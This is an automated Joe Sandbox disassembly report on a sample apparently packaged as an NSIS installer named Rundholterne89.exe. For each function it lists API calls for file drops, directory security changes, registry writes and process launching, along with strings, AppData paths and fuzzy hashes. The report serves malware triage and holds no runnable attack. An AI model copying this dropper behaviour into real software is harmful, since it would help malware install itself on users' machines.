Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: DA$ DA$... %d%%$DwA
API String ID: 551687249-506594815
Opcode ID: 3c1c6048edc1f00d8c5e0ea3695652e11966b85d101879319fc20926b17e4e8a
Instruction ID: 91ee06cea14faca46f7a5a314d1b96781db6e884ff6161e1c143c8ea96f9570f
Opcode Fuzzy Hash: 3c1c6048edc1f00d8c5e0ea3695652e11966b85d101879319fc20926b17e4e8a
Instruction Fuzzy Hash: FB51907190120A9BDB10DF65EA44B9F7BB8EF44756F10813BE800B72C4D7788E51DBAA

Function 00401751 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,%Churrasco241%\mistrusted\Undreadful,C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian,00000000,00000000,00000031), ref: 00401790
CompareFileTime.KERNEL32(-00000014,?,%Churrasco241%\mistrusted\Undreadful,%Churrasco241%\mistrusted\Undreadful,00000000,00000000,%Churrasco241%\mistrusted\Undreadful,C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian,00000000,00000000,00000031), ref: 004017BA

Part of subcall function 00405D2F: lstrcpynA.KERNEL32(?,?,00000400,004031BD,Hermandas Setup,NSIS Error), ref: 00405D3C

Part of subcall function 00404F48: lstrlenA.KERNEL32(00429048,00000000,0041C205,774D23A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000,?), ref: 00404F81
Part of subcall function 00404F48: lstrlenA.KERNEL32(00402FFA,00429048,00000000,0041C205,774D23A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000), ref: 00404F91
Part of subcall function 00404F48: lstrcatA.KERNEL32(00429048,00402FFA,00402FFA,00429048,00000000,0041C205,774D23A0), ref: 00404FA4
Part of subcall function 00404F48: SetWindowTextA.USER32(00429048,00429048), ref: 00404FB6
Part of subcall function 00404F48: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FDC
Part of subcall function 00404F48: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FF6
Part of subcall function 00404F48: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405004

Strings

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian, xrefs: 0040177E
%Churrasco241%\mistrusted\Undreadful, xrefs: 0040176D, 00401776, 00401783, 00401795, 004017A6, 004017DC, 004017F2, 00401810, 00401850, 004018D1, 004018DA, 004018E4, 004018EF
C:\Users\user\Stanglorgnet.bro, xrefs: 0040181E, 0040183A

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: %Churrasco241%\mistrusted\Undreadful$C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian$C:\Users\user\Stanglorgnet.bro
API String ID: 1941528284-137748297
Opcode ID: 4f9644c0113f451ee2cb14cf97c87bd5b67e16b7d88c3abb121216c9f25fe8f5
Instruction ID: 9fffb686f64fba45267de9fcbed8a5438fb589d34f2a074259106400a528bed4
Opcode Fuzzy Hash: 4f9644c0113f451ee2cb14cf97c87bd5b67e16b7d88c3abb121216c9f25fe8f5
Instruction Fuzzy Hash: 1041B831900519BBDF107BA5DC85EAF3679DF45368B60863BF121F11E1D63C8A418A6D

Function 0040540E Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405451
GetLastError.KERNEL32 ref: 00405465
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 0040547A
GetLastError.KERNEL32 ref: 00405484

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405434
ts@, xrefs: 00405414
ds@, xrefs: 00405443
C:\Users\user\Desktop, xrefs: 0040540E

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$ds@$ts@
API String ID: 3449924974-1471963312
Opcode ID: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
Instruction ID: 7d6f839e8d8492d35463ff02b487d6c5a8d89e3dbffb35ab490880a12e6152a5
Opcode Fuzzy Hash: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
Instruction Fuzzy Hash: B4010871D14259EADF11DBA0C9447EFBFB8EB14355F004176E905B6280E378A644CFAA

Function 0040605A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406071
wsprintfA.USER32 ref: 004060AA
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 004060BE

Strings

\, xrefs: 00406082
%s%s.dll, xrefs: 004060A4
UXTHEME, xrefs: 00406063

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
Instruction ID: e3f146f71c0a6e9640e358317deb724d3a5625ccb5f8d81b259ee964bec3998a
Opcode Fuzzy Hash: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
Instruction Fuzzy Hash: D0F0FC3095010566DB14DB74DD0DFEB375CAB08305F14017AA647E11D1D974F9248B69

Function 004059D1 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004059E5
GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 004059FF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004059D4
"C:\Users\user\Desktop\Rundholterne89.exe", xrefs: 004059D1
nsa, xrefs: 004059DC

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\Rundholterne89.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-3221393730
Opcode ID: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
Instruction ID: dd1ff100f75867a5ea1a308fa9af71207a38e4cfd515e0737c49d63577dfb4aa
Opcode Fuzzy Hash: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
Instruction Fuzzy Hash: D0F0E2327082047BDB109F15EC04B9B7B9CDFD1720F10C037FA04EA1C0D2B198448B98

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 22b2b84ea6fcd6b14ed9c5c60211004c3ca56765c3c02eadf23789df00b13e66
Instruction ID: 4a41e99441af98314081ed165e1285c49616552a54b2ccacd5bb7637226e5887
Opcode Fuzzy Hash: 22b2b84ea6fcd6b14ed9c5c60211004c3ca56765c3c02eadf23789df00b13e66
Instruction Fuzzy Hash: 76216271A44108BFEB12AFB0C94AAAD7B75DB44308F14807EF541B61D1D6B885419B29

Function 00401F90 Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 00401FBB

Part of subcall function 00404F48: lstrlenA.KERNEL32(00429048,00000000,0041C205,774D23A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000,?), ref: 00404F81
Part of subcall function 00404F48: lstrlenA.KERNEL32(00402FFA,00429048,00000000,0041C205,774D23A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000), ref: 00404F91
Part of subcall function 00404F48: lstrcatA.KERNEL32(00429048,00402FFA,00402FFA,00429048,00000000,0041C205,774D23A0), ref: 00404FA4
Part of subcall function 00404F48: SetWindowTextA.USER32(00429048,00429048), ref: 00404FB6
Part of subcall function 00404F48: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FDC
Part of subcall function 00404F48: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FF6
Part of subcall function 00404F48: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405004

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401FCB
GetProcAddress.KERNEL32(00000000,?), ref: 00401FDB
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402045

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: c898cda39f6fe508cb32d8ec84f6dafc54057451f4acf75246eee6ddcced1586
Instruction ID: 2138191ccfc75e686ed6e38fe7ddd30e16a5f0053d2c4fe6557c99b01bfc6870
Opcode Fuzzy Hash: c898cda39f6fe508cb32d8ec84f6dafc54057451f4acf75246eee6ddcced1586
Instruction Fuzzy Hash: 58212B72904211EBDF217F658E4CAAE3671AB45318F30423BF701B62D0D7BC4946D66E

Function 00402364 Relevance: 6.1, APIs: 4, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023A2
lstrlenA.KERNEL32(00409C10,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023C2
RegSetValueExA.ADVAPI32(?,?,?,?,00409C10,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023FB
RegCloseKey.ADVAPI32(?,?,?,00409C10,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024D8

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: af2b45bfcb0136edb290ca19ee121481d5b6a55bc37b0262ae4d3dbc08afb77b
Instruction ID: f509f4240a3e10e7eaa3df5a693eb391f4e90e3bb863c7dbc5285fb3648b227d
Opcode Fuzzy Hash: af2b45bfcb0136edb290ca19ee121481d5b6a55bc37b0262ae4d3dbc08afb77b
Instruction Fuzzy Hash: 6B117571E00108BFEB10EBA5DE89EAF767DEB54358F10403AF605B71D1D6B85D419B28

Function 004015B3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 0040583A: CharNextA.USER32(?,?,0042AC70,?,004058A6,0042AC70,0042AC70,774D3410,?,C:\Users\user\AppData\Local\Temp\,004055F1,?,774D3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405848
Part of subcall function 0040583A: CharNextA.USER32(00000000), ref: 0040584D
Part of subcall function 0040583A: CharNextA.USER32(00000000), ref: 00405861

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 00401605

Part of subcall function 0040540E: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405451

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian,00000000,00000000,000000F0), ref: 00401634

Strings

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian, xrefs: 00401629

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian
API String ID: 1892508949-2640575136
Opcode ID: e0a1c47591656d94ff2a999c71ce0e1ab37baa92c7ea8d4027b9740f46afb8e4
Instruction ID: add3044d5edc1dd1b42d505c238b4ff4158083b6ff7b93d5c81ca089004ad06d
Opcode Fuzzy Hash: e0a1c47591656d94ff2a999c71ce0e1ab37baa92c7ea8d4027b9740f46afb8e4
Instruction Fuzzy Hash: C7112736504141ABEF217B650C415BF37B4EAA6325738463FE592B22E2C63C4943A63F

Function 00404EBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404EEB
CallWindowProcA.USER32(?,?,?,?), ref: 00404F3C

Part of subcall function 00403F60: SendMessageA.USER32(00010494,00000000,00000000,00000000), ref: 00403F72

Strings

, xrefs: 00404ECC

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 44c7124f25b7d0e2ad082f453cfb3c7493e33a8b49738481f167c29b071f4aa1
Instruction ID: 2a78fc1f4cbdadc5126368fc20cebde0bfb6f5e986cb98bc8d814c8ad8ef1b08
Opcode Fuzzy Hash: 44c7124f25b7d0e2ad082f453cfb3c7493e33a8b49738481f167c29b071f4aa1
Instruction Fuzzy Hash: 6D01F7B150420AAFEF20AF51DE80A5B3766E7C4751F284037FB00762D0C3799C51966D

Function 004054C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0042B070,Error launching installer), ref: 004054E9
CloseHandle.KERNEL32(?), ref: 004054F6

Strings

Error launching installer, xrefs: 004054D3

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47fe2490e17a7e9d962cab7a6b56508ed3a0dd8216b7049c1380fae9186fb834
Instruction ID: eccce0787fa873eefbebbfab998d1c477025fc2f998d9ab7e00b955d4b23de72
Opcode Fuzzy Hash: 47fe2490e17a7e9d962cab7a6b56508ed3a0dd8216b7049c1380fae9186fb834
Instruction Fuzzy Hash: 99E0BFB4A00209BFEB119B64ED05F7B7BACE700704F408561BD11F2190E774A8559A79

Function 00401E44 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00404F48: lstrlenA.KERNEL32(00429048,00000000,0041C205,774D23A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000,?), ref: 00404F81
Part of subcall function 00404F48: lstrlenA.KERNEL32(00402FFA,00429048,00000000,0041C205,774D23A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000), ref: 00404F91
Part of subcall function 00404F48: lstrcatA.KERNEL32(00429048,00402FFA,00402FFA,00429048,00000000,0041C205,774D23A0), ref: 00404FA4
Part of subcall function 00404F48: SetWindowTextA.USER32(00429048,00429048), ref: 00404FB6
Part of subcall function 00404F48: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FDC
Part of subcall function 00404F48: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FF6
Part of subcall function 00404F48: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405004

Part of subcall function 004054C0: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0042B070,Error launching installer), ref: 004054E9
Part of subcall function 004054C0: CloseHandle.KERNEL32(?), ref: 004054F6

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E7E
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E8E
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EB3

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin
